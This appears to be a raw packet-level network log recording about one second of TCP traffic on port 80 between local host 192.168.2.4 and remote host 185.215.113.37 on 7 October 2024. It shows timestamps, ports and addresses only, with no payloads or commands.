Oct 7, 2024 21:19:14.699671984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.699822903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.699858904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.699884892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.699892044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.699901104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.699928045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.699958086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700001001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700009108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700042963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700050116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700077057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700083017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700112104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700118065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700145960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700151920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700181007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700186968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700212955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700221062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700248003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700252056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700282097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700287104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700314999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700321913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700349092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700352907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700382948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700392008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700423956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.700431108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.700470924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.819732904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.819785118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.819809914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.819844961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.819847107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.819880962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.819900990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.819919109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.819930077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.819960117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.819963932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.820003986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.820007086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.820039988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.820050001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.820087910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.820158958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.820204020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.821008921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.821042061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.821062088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.821075916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.821084023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.821120024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.821163893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.821197033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.821207047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.821233034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.821239948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.821284056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822074890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822110891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822138071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822144032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822150946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822179079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822186947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822216034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822220087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822252035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822272062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822304010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822427988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822462082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822480917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822510958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822582960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822618008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822629929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822652102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822659969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822685003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822694063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822726011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822737932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822778940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822782993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822813034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822828054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822846889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822856903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822881937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.822922945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.822937965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.823031902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.823066950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.823081970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.823113918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.943732977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.943767071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.943799019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.943804979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.943861008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.943861008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.944142103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.944175005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.944185019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.944216013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.944225073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.944257975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.944268942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.944292068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.944300890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.944329023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.944952011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.944986105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.945010900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.945027113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.945036888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.945075989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.945084095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.945107937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.945115089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.945147038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.945951939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.945985079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946006060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946032047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946034908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946068048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946077108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946101904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946106911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946135998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946141958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946177006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946187019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946219921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946229935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946254015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946261883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946295023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946333885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946367025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946377039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946405888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946429968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946461916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946471930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946497917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946502924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946544886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946773052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946805954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946839094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946841002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946856976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946875095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946880102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946914911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.946966887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.946996927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.947010040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.947036982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.068646908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.068684101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.068717003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.068725109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.068770885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.068770885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.068864107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.068906069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.068918943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.068953037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.068959951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.068988085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.068989992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.069024086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.069031954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.069057941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.069066048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.069092035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.069092989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.069123983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.069132090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.069161892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.069261074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.069293976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.069304943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.069324017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.069333076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.069365025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070568085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070615053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070620060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070655107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070660114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070688009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070699930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070723057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070744991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070756912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070770025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070794106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070797920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070827007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070833921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070863962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070871115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070900917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070905924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070935011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.070941925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.070974112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.071032047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.071064949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.071074963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.071099043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.071104050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.071137905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.071218014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.071263075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.071281910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.071316004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.071331978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.071348906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.071353912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.071382046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.071394920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.071443081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.193064928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.193118095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.193135023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.193155050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.193167925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.193207979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.194418907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.194454908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.194473982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.194506884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.194540024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.194540977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.194550037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.194576979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.194590092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.194614887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.194618940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.194658041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.194688082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.194729090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.194961071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.194994926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195007086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195030928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195038080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195074081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195103884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195147038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195154905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195195913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195208073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195240974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195251942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195274115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195281982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195316076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195324898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195360899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195365906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195401907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195425987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195468903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195480108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195513964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195519924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195549011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195554972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195585012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195588112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195621967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195698023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195730925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195744991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195765018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195775032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195806026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195832014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195866108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195883036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195899963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195909023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195940018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195943117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.195976019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.195982933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.196018934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.318135977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.318188906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.318205118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.318227053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.318240881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.318270922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319444895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319479942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319495916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319524050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319533110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319566965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319576979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319602966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319607973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319637060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319647074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319679022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319690943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319724083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319742918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319780111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.319786072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.319823027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320276022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320311069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320324898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320344925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320350885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320391893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320399046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320431948 CEST	80	49730	185.215.113.37	192.168.2.4
